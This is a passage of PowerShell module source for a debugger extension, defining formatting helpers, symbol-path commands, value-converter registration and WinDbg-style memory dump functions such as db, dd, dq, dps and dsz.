ValueFromPipeline = $true )] [UInt64] $Address, [Parameter( Mandatory = $false, Position = 1, ParameterSetName = 'DebuggerParamSet' )] [MS.Dbg.DbgEngDebugger] $Debugger, [Parameter( Mandatory = $true, Position = 1, ParameterSetName = 'Is32BitParamSet' )] [bool] $Is32Bit, [Parameter( Mandatory = $false )] [System.ConsoleColor] $DefaultFgColor = [System.ConsoleColor]::Cyan ) if( $PSCmdlet.ParameterSetName -eq 'DebuggerParamSet' ) { if( $null -eq $Debugger ) { $parentVar = Get-Variable 'Debugger*' -Scope Global -ValueOnly # '*' to prevent an error if it doesn't exist $Debugger = $parentVar } if( $null -eq $Debugger ) { # Still don't have one? Hm... default to current process bitness, I suppose. # TODO: I could at least check if the high DWORD is zero or not... $Is32Bit = ![Environment]::Is64BitProcess } else { $Is32Bit = $Debugger.get_TargetIs32Bit() } } [MS.Dbg.DbgProvider]::FormatAddress( $Address, $Is32Bit, $true, # useTick $false, # numericNull $DefaultFgColor ) } # end Format-DbgAddress <# .Synopsis Formats a 64-bit unsigned integer. If the high DWORD is non-zero, it will show both complete DWORDs with a tick ('`') in between. #> function Format-DbgUInt64 { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [UInt64] $u ) [MS.Dbg.DbgProvider]::FormatUInt64( $u, $true ) } # end Format-DbgUInt64 <# .Synopsis Given a number of bytes, returns a string formatted for pleasant human consumption (like "1.1 MB"). #> function Format-DbgByteSize { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [UInt64] $NumberOfBytes ) [MS.Dbg.DbgProvider]::FormatByteSize( $NumberOfBytes ) } # end Format-DbgByteSize <# .Synopsis Colorizes a symbol string (which includes both a module and type name, e.g. "ntdll!_RTL_CRITICAL_SECTION"). #> function Format-DbgSymbol { [CmdletBinding()] [OutputType( [MS.Dbg.ColorString] )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [string] $SymbolName ) [MS.Dbg.DbgProvider]::ColorizeSymbol( $SymbolName ) } # end Format-DbgSymbol <# .Synopsis Colorizes a type name. #> function Format-DbgTypeName { [CmdletBinding()] [OutputType( [MS.Dbg.ColorString] )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [string] $TypeName ) try { [MS.Dbg.DbgProvider]::ColorizeTypeName( $TypeName ) } finally { } } # end Format-DbgTypeName <# .Synopsis Colorizes a module name. #> function Format-DbgModuleName { [CmdletBinding()] [OutputType( [MS.Dbg.ColorString] )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [string] $ModuleName ) [MS.Dbg.DbgProvider]::ColorizeModuleName( $ModuleName ) } # end Format-DbgModuleName <# .Synopsis Colorizes a register name. #> function Format-DbgRegisterName { [CmdletBinding()] [OutputType( [MS.Dbg.ColorString] )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [string] $RegisterName ) [MS.Dbg.DbgProvider]::ColorizeRegisterName( $RegisterName ) } # end Format-DbgRegisterName function .sympath { [CmdletBinding()] [OutputType( [System.String] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true )] [string] $Path ) begin { } end { } process { # PS likes to convert null strings to empty strings, so this is how we # check if user passed a path or not. if( $PSBoundParameters.ContainsKey( 'Path' ) ) { # Splatting $PSBoundParameters so that -Verbose, et al get passed along too. Set-DbgSymbolPath @PSBoundParameters } else { Get-DbgSymbolPath @PSBoundParameters } } } # end .sympath function .sympath+ { [CmdletBinding()] [OutputType( [System.String] )] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [ValidateNotNullOrEmpty()] [string] $Path ) begin { } end { } process { $origPath = Get-DbgSymbolPath if( (0 -ne $origPath.Length) -and (';' -ne $origPath[ $origPath.Length - 1 ]) ) { $origPath += ';' } Set-DbgSymbolPath -Path ($origPath + $Path) } } # end .sympath+ function .sympath_minus { [CmdletBinding()] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true )] [ValidateNotNullOrEmpty()] [string] $Path ) begin { } end { } process { $origPath = Get-DbgSymbolPath if($Path.Contains(";")) { Write-Error "Path is invalid with ';' seperator." return } if($origPath.Length -gt 0 -and $origPath.Length -ge $Path.Length) { $nextPath = "" $splitStrings = $origPath.Split( ';' ) if(-not $Path) { $Path = $splitStrings[$splitStrings.Length - 1] } for($i = 0; $i -lt $splitStrings.Length; $i++) { if($Path -ne $splitStrings[$i]) { $nextPath += $splitStrings[$i] + ";" } } $nextPath = $nextPath.TrimEnd(";") Set-DbgSymbolPath -Path $nextPath } } } Set-Alias .sympath- .sympath_minus <# .SYNOPSIS Creates a DbgValueConverterInfo object for a script block that defines a converter for the specified type. TODO: more doc .Link Register-DbgValueConverterInfo #> function New-DbgValueConverterInfo { [CmdletBinding()] [OutputType( [MS.Dbg.DbgValueConverterInfo] )] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string[]] $TypeName, [Parameter( Mandatory = $true, Position = 1 )] [ValidateNotNull()] [ScriptBlock] $Converter, [Parameter( Mandatory = $false, Position = 2 )] [ValidateNotNull()] [string] $SourceScript, [Parameter( Mandatory = $false )] [switch] $CaptureContext # If we want to support C# converters, we could have another parameter set for # that. ) begin { } end { } process { try { if( !$PSBoundParameters.ContainsKey( 'SourceScript' ) ) { $SourceScript = (Get-PSCallStack)[1].ScriptName } foreach( $private:tn in $TypeName ) { $private:sc = New-Object "MS.Dbg.DbgValueScriptConverter" -ArgumentList @( $tn, $Converter, $CaptureContext ) $private:cdi = New-Object "MS.Dbg.DbgValueConverterInfo" -ArgumentList @( $tn, $sc, $SourceScript ) $cdi } } finally { } } } # end New-DbgValueConverterInfo <# .SYNOPSIS Registers one or more DbgValueScriptConverter objects. .Link New-DbgValueConverterInfo #> function Register-DbgValueConverterInfo { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [ScriptBlock] $ConvertersProducer ) begin { } end { } process { $private:disposable = $null try { # If any entries need to capture context (variables and functions), we'll only # let them capture stuff defined in the $ConvertersProducer script block and # below. $disposable = [MS.Dbg.DbgProvider]::SetContextStartMarker() [int] $private:numConverters = 0 # Q. Why do we need to execute the $ConvertersProducer in the context of the # Debugger.psm1 module? # # A: If we don't, then any converter that wants to -CaptureContext won't work. # This is because Get-PsContext is going to end up executing in the # Debugger.psm1 context, and it won't be able to "see out of" that context. & ($ExecutionContext.SessionState.Module) $ConvertersProducer | %{ if( $_ -is [MS.Dbg.DbgValueConverterInfo] ) { $numConverters++ [MS.Dbg.DbgValueConversionManager]::RegisterConverter( $_ ) } else { Write-Warning "The `$ConvertersProducer ScriptBlock produced some output that was not DbgValueConverterInfo ($($_))." } } if( 0 -eq $numConverters ) { Write-Warning "No converters produced." } } finally { if( $disposable ) { $disposable.Dispose() } } } } # end Register-DbgValueConverterInfo <# .SYNOPSIS Allows you to write a collection object to the pipeline without unrolling it. #> function Write-Collection { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] # Can't pipeline; would defeat the purpose [object] $Collection, [Parameter( Mandatory = $false )] [switch] $Unroll ) begin { } end { } process { try { $PSCmdlet.WriteObject( $Collection, $Unroll ) } finally { } } } # end Write-Collection function Invoke-InAlternateScope { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true, ValueFromRemainingArguments = $true )] [ValidateNotNullOrEmpty()] [ScriptBlock[]] $ScriptBlock, [Parameter( Mandatory = $false, Position = 1 )] [object[]] $Arguments, [Parameter( Mandatory = $false, Position = 2 )] [ValidateNotNull()] [System.Management.Automation.PSModuleInfo] $ScopingModule, [Parameter()] [switch] $UseIsolatedChildScope ) begin { try { if( !$ScopingModule ) { $ScopingModule = New-Module { } } } finally { } } process { try { if( $UseIsolatedChildScope ) { $ScriptBlock | % { & $ScopingModule $_ @Arguments } } else { $ScriptBlock | % { . $ScopingModule $_ @Arguments } } # Here is a really awkward alternative. Not only is it awkward, but it # means that the child scopes can see $ScriptBlock and $sb. What makes # the difference is using '.' versus '&' (dot-sourcing operator versus # call operator). ## & $ScopingModule { ## param( [ScriptBlock[]] $ScriptBlock ) ## foreach( $sb in $ScriptBlock ) ## { ## . $sb @Arguments ## } ## } $ScriptBlock } finally { } } end { } } # end Invoke-InAlternateScope() <# .SYNOPSIS Use this wherever you use a [MS.Dbg.Commands.RangeTransformation()] attribute. #> function GetByteLengthFromRangeArgument { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ref] [UInt64] $AddressRef, [Parameter( Mandatory = $true, Position = 1 )] [object] $CountOrEndAddress, [Parameter( Mandatory = $true, Position = 3 )] [UInt32] $ElementSize ) process { try { [UInt32] $lengthInBytes = 0 if( $CountOrEndAddress.IsNegative ) { #Write-Host "case 1" -Fore Magenta [System.Diagnostics.Debug]::Assert( $CountOrEndAddress.HasLengthPrefix ) $lengthInBytes = $CountOrEndAddress * $ElementSize $AddressRef.Value = $AddressRef.Value - $lengthInBytes } elseif( !$CountOrEndAddress.HasLengthPrefix ) { # [Console]::WriteLine( "GetByteLengthFromRangeArgument: `$AddressRef.Value: {0}", $AddressRef.Value ) # [Console]::WriteLine( "GetByteLengthFromRangeArgument: `$CountOrEndAddress: {0}", $CountOrEndAddress ) # [Console]::WriteLine( "GetByteLengthFromRangeArgument: Subtracted: {0}", ($CountOrEndAddress - $AddressRef.Value) ) # [Console]::WriteLine( "GetByteLengthFromRangeArgument: Condition: {0}", (($CountOrEndAddress - $AddressRef.Value) -lt 256kb) ) # Is it a count, or is it an end address? This is a pretty simple # heuristic, but I bet it mostly works. if( ($AddressRef.Value -ne $null) -and ($AddressRef.Value -ne 0) -and ($CountOrEndAddress -gt $AddressRef.Value) -and (($CountOrEndAddress - $AddressRef.Value) -lt 256kb) ) { #Write-Host "case 2a" -Fore Magenta $lengthInBytes = $CountOrEndAddress - $AddressRef.Value } elseif( ($CountOrEndAddress -lt 256kb) -and (($CountOrEndAddress * $ElementSize) -lt 256kb) ) { #Write-Host "case 2b" -Fore Magenta $lengthInBytes = $CountOrEndAddress * $ElementSize } else { throw "The value '$($CountOrEndAddress.ToString( 'x' ))' is too large to be a valid range. If you really want that much, use the size override syntax (`"L?`")." } } else { #Write-Host "case 3" -Fore Magenta # Size already validated by the RangeTransformation attribute as not too long. $lengthInBytes = $CountOrEndAddress * $ElementSize } #Write-Host "returning $lengthInBytes" -Fore Green return $lengthInBytes } finally { } } # end 'process' block } # end GetByteLengthFromRangeArgument <# .SYNOPSIS Gets the current target. #> function Get-DbgCurrentTarget { [CmdletBinding()] [OutputType( [MS.Dbg.DbgUModeProcess] )] param() process { try { return $debugger.GetCurrentTarget() } finally { } } # end 'process' block } # end Get-DbgCurrentTarget <# .Synopsis Like the windbg "db" command (Dump Bytes). Includes ASCII characters. .Link Get-Help about_MemoryCommands #> function db { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 1 )] [UInt64] $CountOrEndAddress = 128, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'Bytes' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 1 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'Bytes' } finally { } } } # end db <# .Synopsis Like the windbg "da" command (Dump ASCII): interprets memory as an ASCII string. .Description If you want to get an actual System.String object (instead of just an object representing a chunk of memory, with an ASCII string display), use the 'dsz' command instead. .Link dsz dwsz du Get-Help about_MemoryCommands #> function da { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 1 )] [UInt64] $CountOrEndAddress = 704, # It's a strange default, but it matches windbg [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'AsciiOnly' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 1 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'AsciiOnly' } finally { } } } # end da <# .Synopsis Like the windbg "du" command. .Description If you want to get an actual System.String object (instead of just an object representing a chunk of memory, with a string display), use the 'dwsz' command instead. .Link dwsz dsz da Get-Help about_MemoryCommands #> function du { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 2 )] [UInt64] $CountOrEndAddress = 704, # It's a strange default, but it matches windbg [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'UnicodeOnly' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 2 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'UnicodeOnly' } finally { } } } # end du <# .Synopsis Similar to the windbg "du" command, but it reads until it finds a terminating NULL, and instead of returning a chunk of memory, it returns just a plain System.String. .Description The advantage over "du" is that it returns a System.String object, instead of a DbgMemory object. The advantage over $Debugger.ReadMemAs_wszString() is the AddressTransformationAttribute that lets you pass hex values in a more idiomatic way (without leading 0x), plus it's much shorter. .Link du da dsz Get-Help about_MemoryCommands #> function dwsz { [CmdletBinding()] [OutputType( [System.String] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [UInt32] $MaxCharacters = 2048 ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { $mem = $Address # Find the null terminator. [int] $i = 0 for( $i = 0; ($i -lt $mem.Words.Count) -and ($i -lt $MaxCharacters); $i++ ) { if( 0 -eq $mem.Words[ $i ] ) { break } } return [System.Text.Encoding]::Unicode.GetString( $mem.Bytes, 0, ($i * 2) ) } # TODO: Support existing DbgMemory objects here $Debugger.ReadMemAs_wszString( $Address, $MaxCharacters ) } finally { } } } # end dwsz <# .Synopsis Similar to the windbg "da" command (Dump ASCII), but it reads until it finds a terminating NULL, and instead of returning a chunk of memory, it returns just a plain System.String. .Description The advantage over "da" is that it returns a System.String object, instead of a DbgMemory object. The advantage over $Debugger.ReadMemAs_szString() is the AddressTransformationAttribute that lets you pass hex values in a more idiomatic way (without leading 0x), plus it's much shorter. .Link da du dwsz Get-Help about_MemoryCommands #> function dsz { [CmdletBinding()] [OutputType( [System.String] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [UInt32] $MaxCharacters = 2048 ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { $mem = $Address # Find the null terminator. [int] $i = 0 for( $i = 0; ($i -lt $mem.Bytes.Count) -and ($i -lt $MaxCharacters); $i++ ) { if( 0 -eq $mem.Bytes[ $i ] ) { break } } return [System.Text.Encoding]::UTF8.GetString( $mem.Bytes, 0, $i ) } # TODO: Support existing DbgMemory objects here $Debugger.ReadMemAs_szString( $Address, $MaxCharacters ) } finally { } } } # end dsz <# .Synopsis Like the windbg "dw" command (Dump WORDs). Also supports "dW", which dumps WORDs along with ASCII characters. .Link Get-Help about_MemoryCommands #> function dw { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 2 )] [UInt64] $CountOrEndAddress = 64, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { [MS.Dbg.DbgMemoryDisplayFormat] $fmt = [MS.Dbg.DbgMemoryDisplayFormat]::Words # N.B. Case-sensitive! if( 0 -eq [string]::Compare( $PSCmdlet.MyInvocation.InvocationName, 'dW', [System.StringComparison]::Ordinal ) ) { $fmt = [MS.Dbg.DbgMemoryDisplayFormat]::WordsWithAscii } if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = $fmt $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 2 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat $fmt } finally { } } } # end dw <# .Synopsis Like the windbg "dd" command (Dump DWORDs). .Link Get-Help about_MemoryCommands #> function dd { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 4 )] [UInt64] $CountOrEndAddress = 32, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'DWords' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 4 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'DWords' } finally { } } } # end dd <# .Synopsis Like the windbg "dyd" command (Dump Binary DWORDs). .Link Get-Help about_MemoryCommands #> function dyd { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 4 )] [UInt64] $CountOrEndAddress = 8 ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'DWordsWithBits' return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 4 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayFormat 'DWordsWithBits' } finally { } } } # end dyd <# .Synopsis Like the windbg "dc" command (Dump [DWORDs], with [ASCII] Characters). .Link Get-Help about_MemoryCommands #> function dc { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 4 )] [UInt64] $CountOrEndAddress = 32, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'DWordsWithAscii' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 4 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'DWordsWithAscii' } finally { } } } # end dc <# .Synopsis Like the windbg "dq" command (Dump QWORDs). .Link Get-Help about_MemoryCommands #> function dq { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 8 )] [UInt64] $CountOrEndAddress = 16, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'QWords' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize 8 Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'QWords' } finally { } } } # end dq <# .Synopsis Like the windbg "dp" command (Dump Pointers). .Link Get-Help about_MemoryCommands #> function dp { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 0 )] [UInt64] $CountOrEndAddress, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'Pointers' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [int] $elemSize = 4 if( $Debugger.TargetIs32Bit ) { if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 32 } } else { $elemSize = 8 if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 16 } } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize $elemSize Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'Pointers' } finally { } } } # end dp <# .Synopsis Like the windbg "dp" command (Dump Pointers), but also displays characters. .Link Get-Help about_MemoryCommands #> function dpc { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 0 )] [UInt64] $CountOrEndAddress, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'PointersWithAscii' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [int] $elemSize = 4 if( $Debugger.TargetIs32Bit ) { if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 32 } } else { $elemSize = 8 if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 16 } } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize $elemSize Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'PointersWithAscii' } finally { } } } # end dpc <# .Synopsis Like the windbg "dps" command (Dump Pointers, with Symbols). .Link Get-Help about_MemoryCommands #> function dps { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 0 )] [UInt64] $CountOrEndAddress = 16, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'PointersWithSymbols' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [int] $elemSize = 4 if( $Debugger.TargetIs32Bit ) { if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 32 } } else { $elemSize = 8 if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 16 } } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize $elemSize Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'PointersWithSymbols' } finally { } } } # end dps <# .Synopsis Like the windbg "dps" command (Dump Pointers with Symbols), but also displays ASCII characters a la dc. .Link Get-Help about_MemoryCommands #> function dpsc { [CmdletBinding()] [OutputType( [MS.Dbg.DbgMemory] )] param( [Parameter( Mandatory = $false, Position = 0, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true )] [MS.Dbg.Commands.AddressTransformation( DbgMemoryPassThru = $true )] [object] $Address, [Parameter( Mandatory = $false, Position = 1 )] [MS.Dbg.Commands.RangeTransformation( ElementSize = 0 )] [UInt64] $CountOrEndAddress = 16, [Parameter( Mandatory = $false )] [Alias( 'c' )] [UInt32] $NumColumns ) process { try { if( $Address -is [MS.Dbg.DbgMemory] ) { if( $PSBoundParameters.ContainsKey( 'CountOrEndAddress' ) ) { Write-Warning 'Re-dumping an existing DbgMemory object does not support the -CountOrEndAddress parameter.' } $newMem = $Address.Clone() $newMem.DefaultDisplayFormat = 'PointersWithSymbolsAndAscii' $newMem.DefaultDisplayColumns = $NumColumns return $newMem } [int] $elemSize = 4 if( $Debugger.TargetIs32Bit ) { if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 32 } } else { $elemSize = 8 if( $CountOrEndAddress -eq 0 ) { $CountOrEndAddress = 16 } } [UInt32] $lengthInBytes = GetByteLengthFromRangeArgument ([ref] $Address) $CountOrEndAddress -ElementSize $elemSize Read-DbgMemory -Address $Address -LengthInBytes $lengthInBytes -DefaultDisplayColumns $NumColumns -DefaultDisplayFormat 'PointersWithSymbolsAndAscii' } finally { } } } # end dpsc <# .Synopsis Similar to the windbg "d" command: repeats the most recent memory dumping command. .Description When a memory-dumping command is repeated, it continues to dump the next chunk of memory. Note that unlike windbg, it does not repeat other commands that also happen to start with "d", like "dv". .Link Get-Help 